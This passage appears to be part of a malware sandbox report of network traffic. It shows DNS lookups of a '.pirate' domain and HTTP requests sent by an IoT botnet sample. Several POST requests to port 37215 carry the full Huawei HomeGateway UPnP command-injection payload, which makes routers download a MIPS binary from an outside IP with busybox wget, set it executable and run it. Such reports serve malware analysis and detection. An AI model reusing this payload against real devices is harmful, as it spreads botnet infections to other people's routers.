Sep 25, 2024 14:14:35.976553917 CEST	195.10.195.195	192.168.2.14	0x0	Format error (1)	d00mstoleyourboat.pirate	none	none	A (IP address)	IN (0x0001)	false
Sep 25, 2024 14:14:35.990334988 CEST	195.10.195.195	192.168.2.14	0x0	Format error (1)	d00mstoleyourboat.pirate	none	none	A (IP address)	IN (0x0001)	false
Sep 25, 2024 14:14:39.686654091 CEST	195.10.195.195	192.168.2.14	0x0	Format error (1)	d00mstoleyourboat.pirate	none	none	A (IP address)	IN (0x0001)	false
Sep 25, 2024 14:14:39.697455883 CEST	195.10.195.195	192.168.2.14	0x0	Format error (1)	d00mstoleyourboat.pirate	none	none	A (IP address)	IN (0x0001)	false
Sep 25, 2024 14:14:39.706027985 CEST	195.10.195.195	192.168.2.14	0x0	Format error (1)	d00mstoleyourboat.pirate	none	none	A (IP address)	IN (0x0001)	false
Sep 25, 2024 14:14:44.720860958 CEST	195.10.195.195	192.168.2.14	0x0	Format error (1)	d00mstoleyourboat.pirate	none	none	A (IP address)	IN (0x0001)	false
Sep 25, 2024 14:14:47.424665928 CEST	195.10.195.195	192.168.2.14	0x0	Format error (1)	d00mstoleyourboat.pirate	none	none	A (IP address)	IN (0x0001)	false
Sep 25, 2024 14:14:47.432754993 CEST	195.10.195.195	192.168.2.14	0x0	Format error (1)	d00mstoleyourboat.pirate	none	none	A (IP address)	IN (0x0001)	false
Sep 25, 2024 14:14:47.440860987 CEST	195.10.195.195	192.168.2.14	0x0	Format error (1)	d00mstoleyourboat.pirate	none	none	A (IP address)	IN (0x0001)	false
Sep 25, 2024 14:14:47.449074030 CEST	195.10.195.195	192.168.2.14	0x0	Format error (1)	d00mstoleyourboat.pirate	none	none	A (IP address)	IN (0x0001)	false
Sep 25, 2024 14:14:47.457628965 CEST	195.10.195.195	192.168.2.14	0x0	Format error (1)	d00mstoleyourboat.pirate	none	none	A (IP address)	IN (0x0001)	false
Sep 25, 2024 14:14:50.139029980 CEST	195.10.195.195	192.168.2.14	0x0	Format error (1)	d00mstoleyourboat.pirate	none	none	A (IP address)	IN (0x0001)	false
Sep 25, 2024 14:14:55.152455091 CEST	195.10.195.195	192.168.2.14	0x0	Format error (1)	d00mstoleyourboat.pirate	none	none	A (IP address)	IN (0x0001)	false
Sep 25, 2024 14:14:55.160320997 CEST	195.10.195.195	192.168.2.14	0x0	Format error (1)	d00mstoleyourboat.pirate	none	none	A (IP address)	IN (0x0001)	false
Sep 25, 2024 14:14:55.168284893 CEST	195.10.195.195	192.168.2.14	0x0	Format error (1)	d00mstoleyourboat.pirate	none	none	A (IP address)	IN (0x0001)	false
Sep 25, 2024 14:14:57.840749025 CEST	195.10.195.195	192.168.2.14	0x0	Format error (1)	d00mstoleyourboat.pirate	none	none	A (IP address)	IN (0x0001)	false
Sep 25, 2024 14:14:57.848493099 CEST	195.10.195.195	192.168.2.14	0x0	Format error (1)	d00mstoleyourboat.pirate	none	none	A (IP address)	IN (0x0001)	false
Sep 25, 2024 14:14:57.856224060 CEST	195.10.195.195	192.168.2.14	0x0	Format error (1)	d00mstoleyourboat.pirate	none	none	A (IP address)	IN (0x0001)	false
Sep 25, 2024 14:15:02.871335030 CEST	195.10.195.195	192.168.2.14	0x0	Format error (1)	d00mstoleyourboat.pirate	none	none	A (IP address)	IN (0x0001)	false
Sep 25, 2024 14:15:05.566143036 CEST	195.10.195.195	192.168.2.14	0x0	Format error (1)	d00mstoleyourboat.pirate	none	none	A (IP address)	IN (0x0001)	false
Sep 25, 2024 14:15:05.578099012 CEST	195.10.195.195	192.168.2.14	0x0	Format error (1)	d00mstoleyourboat.pirate	none	none	A (IP address)	IN (0x0001)	false
Sep 25, 2024 14:15:05.590188026 CEST	195.10.195.195	192.168.2.14	0x0	Format error (1)	d00mstoleyourboat.pirate	none	none	A (IP address)	IN (0x0001)	false
Sep 25, 2024 14:15:05.601216078 CEST	195.10.195.195	192.168.2.14	0x0	Format error (1)	d00mstoleyourboat.pirate	none	none	A (IP address)	IN (0x0001)	false
Sep 25, 2024 14:15:05.611998081 CEST	195.10.195.195	192.168.2.14	0x0	Format error (1)	d00mstoleyourboat.pirate	none	none	A (IP address)	IN (0x0001)	false
Sep 25, 2024 14:15:08.310643911 CEST	195.10.195.195	192.168.2.14	0x0	Format error (1)	d00mstoleyourboat.pirate	none	none	A (IP address)	IN (0x0001)	false
Sep 25, 2024 14:15:08.319850922 CEST	195.10.195.195	192.168.2.14	0x0	Format error (1)	d00mstoleyourboat.pirate	none	none	A (IP address)	IN (0x0001)	false
Sep 25, 2024 14:15:13.332051992 CEST	195.10.195.195	192.168.2.14	0x0	Format error (1)	d00mstoleyourboat.pirate	none	none	A (IP address)	IN (0x0001)	false
Sep 25, 2024 14:15:13.340197086 CEST	195.10.195.195	192.168.2.14	0x0	Format error (1)	d00mstoleyourboat.pirate	none	none	A (IP address)	IN (0x0001)	false
Sep 25, 2024 14:15:16.037669897 CEST	195.10.195.195	192.168.2.14	0x0	Format error (1)	d00mstoleyourboat.pirate	none	none	A (IP address)	IN (0x0001)	false
Sep 25, 2024 14:15:16.047533035 CEST	195.10.195.195	192.168.2.14	0x0	Format error (1)	d00mstoleyourboat.pirate	none	none	A (IP address)	IN (0x0001)	false
Sep 25, 2024 14:15:21.061224937 CEST	195.10.195.195	192.168.2.14	0x0	Format error (1)	d00mstoleyourboat.pirate	none	none	A (IP address)	IN (0x0001)	false
Sep 25, 2024 14:15:21.069145918 CEST	195.10.195.195	192.168.2.14	0x0	Format error (1)	d00mstoleyourboat.pirate	none	none	A (IP address)	IN (0x0001)	false
Sep 25, 2024 14:15:23.764110088 CEST	195.10.195.195	192.168.2.14	0x0	Format error (1)	d00mstoleyourboat.pirate	none	none	A (IP address)	IN (0x0001)	false
Sep 25, 2024 14:15:23.772177935 CEST	195.10.195.195	192.168.2.14	0x0	Format error (1)	d00mstoleyourboat.pirate	none	none	A (IP address)	IN (0x0001)	false
Sep 25, 2024 14:15:23.780746937 CEST	195.10.195.195	192.168.2.14	0x0	Format error (1)	d00mstoleyourboat.pirate	none	none	A (IP address)	IN (0x0001)	false
Sep 25, 2024 14:15:28.794609070 CEST	195.10.195.195	192.168.2.14	0x0	Format error (1)	d00mstoleyourboat.pirate	none	none	A (IP address)	IN (0x0001)	false
Sep 25, 2024 14:15:31.482036114 CEST	195.10.195.195	192.168.2.14	0x0	Format error (1)	d00mstoleyourboat.pirate	none	none	A (IP address)	IN (0x0001)	false
Sep 25, 2024 14:15:31.490739107 CEST	195.10.195.195	192.168.2.14	0x0	Format error (1)	d00mstoleyourboat.pirate	none	none	A (IP address)	IN (0x0001)	false
Sep 25, 2024 14:15:31.498689890 CEST	195.10.195.195	192.168.2.14	0x0	Format error (1)	d00mstoleyourboat.pirate	none	none	A (IP address)	IN (0x0001)	false
Sep 25, 2024 14:15:36.510355949 CEST	195.10.195.195	192.168.2.14	0x0	Format error (1)	d00mstoleyourboat.pirate	none	none	A (IP address)	IN (0x0001)	false
Sep 25, 2024 14:15:39.187196970 CEST	195.10.195.195	192.168.2.14	0x0	Format error (1)	d00mstoleyourboat.pirate	none	none	A (IP address)	IN (0x0001)	false
Sep 25, 2024 14:15:39.195074081 CEST	195.10.195.195	192.168.2.14	0x0	Format error (1)	d00mstoleyourboat.pirate	none	none	A (IP address)	IN (0x0001)	false
Sep 25, 2024 14:15:39.203526020 CEST	195.10.195.195	192.168.2.14	0x0	Format error (1)	d00mstoleyourboat.pirate	none	none	A (IP address)	IN (0x0001)	false
Sep 25, 2024 14:15:39.211553097 CEST	195.10.195.195	192.168.2.14	0x0	Format error (1)	d00mstoleyourboat.pirate	none	none	A (IP address)	IN (0x0001)	false
Sep 25, 2024 14:15:39.219899893 CEST	195.10.195.195	192.168.2.14	0x0	Format error (1)	d00mstoleyourboat.pirate	none	none	A (IP address)	IN (0x0001)	false
Sep 25, 2024 14:15:41.908874035 CEST	195.10.195.195	192.168.2.14	0x0	Format error (1)	d00mstoleyourboat.pirate	none	none	A (IP address)	IN (0x0001)	false
Sep 25, 2024 14:15:41.916871071 CEST	195.10.195.195	192.168.2.14	0x0	Format error (1)	d00mstoleyourboat.pirate	none	none	A (IP address)	IN (0x0001)	false
Sep 25, 2024 14:15:41.924954891 CEST	195.10.195.195	192.168.2.14	0x0	Format error (1)	d00mstoleyourboat.pirate	none	none	A (IP address)	IN (0x0001)	false
Sep 25, 2024 14:15:46.939121008 CEST	195.10.195.195	192.168.2.14	0x0	Format error (1)	d00mstoleyourboat.pirate	none	none	A (IP address)	IN (0x0001)	false
Sep 25, 2024 14:15:49.693248034 CEST	195.10.195.195	192.168.2.14	0x0	Format error (1)	d00mstoleyourboat.pirate	none	none	A (IP address)	IN (0x0001)	false
Sep 25, 2024 14:15:49.701873064 CEST	195.10.195.195	192.168.2.14	0x0	Format error (1)	d00mstoleyourboat.pirate	none	none	A (IP address)	IN (0x0001)	false
Sep 25, 2024 14:15:49.710944891 CEST	195.10.195.195	192.168.2.14	0x0	Format error (1)	d00mstoleyourboat.pirate	none	none	A (IP address)	IN (0x0001)	false
Sep 25, 2024 14:15:49.719300032 CEST	195.10.195.195	192.168.2.14	0x0	Format error (1)	d00mstoleyourboat.pirate	none	none	A (IP address)	IN (0x0001)	false
Sep 25, 2024 14:15:49.728187084 CEST	195.10.195.195	192.168.2.14	0x0	Format error (1)	d00mstoleyourboat.pirate	none	none	A (IP address)	IN (0x0001)	false
Sep 25, 2024 14:15:55.752912045 CEST	195.10.195.195	192.168.2.14	0x0	Format error (1)	d00mstoleyourboat.pirate	none	none	A (IP address)	IN (0x0001)	false
Sep 25, 2024 14:15:55.762475014 CEST	195.10.195.195	192.168.2.14	0x0	Format error (1)	d00mstoleyourboat.pirate	none	none	A (IP address)	IN (0x0001)	false
Sep 25, 2024 14:15:55.771646976 CEST	195.10.195.195	192.168.2.14	0x0	Format error (1)	d00mstoleyourboat.pirate	none	none	A (IP address)	IN (0x0001)	false
Sep 25, 2024 14:15:55.779793978 CEST	195.10.195.195	192.168.2.14	0x0	Format error (1)	d00mstoleyourboat.pirate	none	none	A (IP address)	IN (0x0001)	false
Sep 25, 2024 14:15:58.453083038 CEST	195.10.195.195	192.168.2.14	0x0	Format error (1)	d00mstoleyourboat.pirate	none	none	A (IP address)	IN (0x0001)	false
Sep 25, 2024 14:16:03.579521894 CEST	195.10.195.195	192.168.2.14	0x0	Format error (1)	d00mstoleyourboat.pirate	none	none	A (IP address)	IN (0x0001)	false
Sep 25, 2024 14:16:03.589037895 CEST	195.10.195.195	192.168.2.14	0x0	Format error (1)	d00mstoleyourboat.pirate	none	none	A (IP address)	IN (0x0001)	false
Sep 25, 2024 14:16:03.600687981 CEST	195.10.195.195	192.168.2.14	0x0	Format error (1)	d00mstoleyourboat.pirate	none	none	A (IP address)	IN (0x0001)	false
Sep 25, 2024 14:16:06.295281887 CEST	195.10.195.195	192.168.2.14	0x0	Format error (1)	d00mstoleyourboat.pirate	none	none	A (IP address)	IN (0x0001)	false
Sep 25, 2024 14:16:06.305905104 CEST	195.10.195.195	192.168.2.14	0x0	Format error (1)	d00mstoleyourboat.pirate	none	none	A (IP address)	IN (0x0001)	false
Sep 25, 2024 14:16:06.315769911 CEST	195.10.195.195	192.168.2.14	0x0	Format error (1)	d00mstoleyourboat.pirate	none	none	A (IP address)	IN (0x0001)	false
Sep 25, 2024 14:16:06.325195074 CEST	195.10.195.195	192.168.2.14	0x0	Format error (1)	d00mstoleyourboat.pirate	none	none	A (IP address)	IN (0x0001)	false
Sep 25, 2024 14:16:13.288034916 CEST	195.10.195.195	192.168.2.14	0x0	Format error (1)	d00mstoleyourboat.pirate	none	none	A (IP address)	IN (0x0001)	false
Sep 25, 2024 14:16:13.298573017 CEST	195.10.195.195	192.168.2.14	0x0	Format error (1)	d00mstoleyourboat.pirate	none	none	A (IP address)	IN (0x0001)	false
Sep 25, 2024 14:16:13.307270050 CEST	195.10.195.195	192.168.2.14	0x0	Format error (1)	d00mstoleyourboat.pirate	none	none	A (IP address)	IN (0x0001)	false
Sep 25, 2024 14:16:13.315829992 CEST	195.10.195.195	192.168.2.14	0x0	Format error (1)	d00mstoleyourboat.pirate	none	none	A (IP address)	IN (0x0001)	false
Sep 25, 2024 14:16:13.324817896 CEST	195.10.195.195	192.168.2.14	0x0	Format error (1)	d00mstoleyourboat.pirate	none	none	A (IP address)	IN (0x0001)	false

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port
0	192.168.2.14	49426	94.156.69.151	80

Timestamp	Bytes transferred	Direction	Data
Sep 25, 2024 14:14:08.514974117 CEST	59	OUT	GET /dlr.arm HTTP/1.0 User-Agent: DLRGrabr

Session ID	Source IP	Source Port	Destination IP	Destination Port
1	192.168.2.14	32832	197.137.197.243	37215

Timestamp	Bytes transferred	Direction	Data
Sep 25, 2024 14:14:09.866054058 CEST	845	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 38 39 2e 32 32 31 2e 32 32 35 2e 31 36 33 20 2d 6c 20 2f 74 6d 70 2f 64 6f 6f 6d 73 62 69 6e 20 2d 72 20 2f 64 30 30 6d 73 64 34 79 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 89.221.225.163 -l /tmp/doomsbin -r /d00msd4y.mips; /bin/busybox chmod 777 * /tmp/doomsbin; /tmp/doomsbin h.mips)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
2	192.168.2.14	39490	197.150.60.243	37215

Timestamp	Bytes transferred	Direction	Data
Sep 25, 2024 14:14:09.867691040 CEST	845	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 38 39 2e 32 32 31 2e 32 32 35 2e 31 36 33 20 2d 6c 20 2f 74 6d 70 2f 64 6f 6f 6d 73 62 69 6e 20 2d 72 20 2f 64 30 30 6d 73 64 34 79 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 89.221.225.163 -l /tmp/doomsbin -r /d00msd4y.mips; /bin/busybox chmod 777 * /tmp/doomsbin; /tmp/doomsbin h.mips)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
3	192.168.2.14	34480	197.62.234.103	37215

Timestamp	Bytes transferred	Direction	Data
Sep 25, 2024 14:14:09.869652033 CEST	845	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 38 39 2e 32 32 31 2e 32 32 35 2e 31 36 33 20 2d 6c 20 2f 74 6d 70 2f 64 6f 6f 6d 73 62 69 6e 20 2d 72 20 2f 64 30 30 6d 73 64 34 79 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 89.221.225.163 -l /tmp/doomsbin -r /d00msd4y.mips; /bin/busybox chmod 777 * /tmp/doomsbin; /tmp/doomsbin h.mips)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
4	192.168.2.14	44902	156.129.215.226	37215

Timestamp	Bytes transferred	Direction	Data
Sep 25, 2024 14:14:09.870878935 CEST	845	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 38 39 2e 32 32 31 2e 32 32 35 2e 31 36 33 20 2d 6c 20 2f 74 6d 70 2f 64 6f 6f 6d 73 62 69 6e 20 2d 72 20 2f 64 30 30 6d 73 64 34 79 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 89.221.225.163 -l /tmp/doomsbin -r /d00msd4y.mips; /bin/busybox chmod 777 * /tmp/doomsbin; /tmp/doomsbin h.mips)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
5	192.168.2.14	53700	41.204.214.55	37215

Timestamp	Bytes transferred	Direction	Data
Sep 25, 2024 14:14:09.872658968 CEST	845	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 38 39 2e 32 32 31 2e 32 32 35 2e 31 36 33 20 2d 6c 20 2f 74 6d 70 2f 64 6f 6f 6d 73 62 69 6e 20 2d 72 20 2f 64 30 30 6d 73 64 34 79 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 89.221.225.163 -l /tmp/doomsbin -r /d00msd4y.mips; /bin/busybox chmod 777 * /tmp/doomsbin; /tmp/doomsbin h.mips)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
6	192.168.2.14	60866	197.4.255.13	37215

Timestamp	Bytes transferred	Direction	Data
Sep 25, 2024 14:14:09.874495983 CEST	845	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 38 39 2e 32 32 31 2e 32 32 35 2e 31 36 33 20 2d 6c 20 2f 74 6d 70 2f 64 6f 6f 6d 73 62 69 6e 20 2d 72 20 2f 64 30 30 6d 73 64 34 79 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 89.221.225.163 -l /tmp/doomsbin -r /d00msd4y.mips; /bin/busybox chmod 777 * /tmp/doomsbin; /tmp/doomsbin h.mips)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
7	192.168.2.14	42618	156.182.203.125	37215

Timestamp	Bytes transferred	Direction	Data
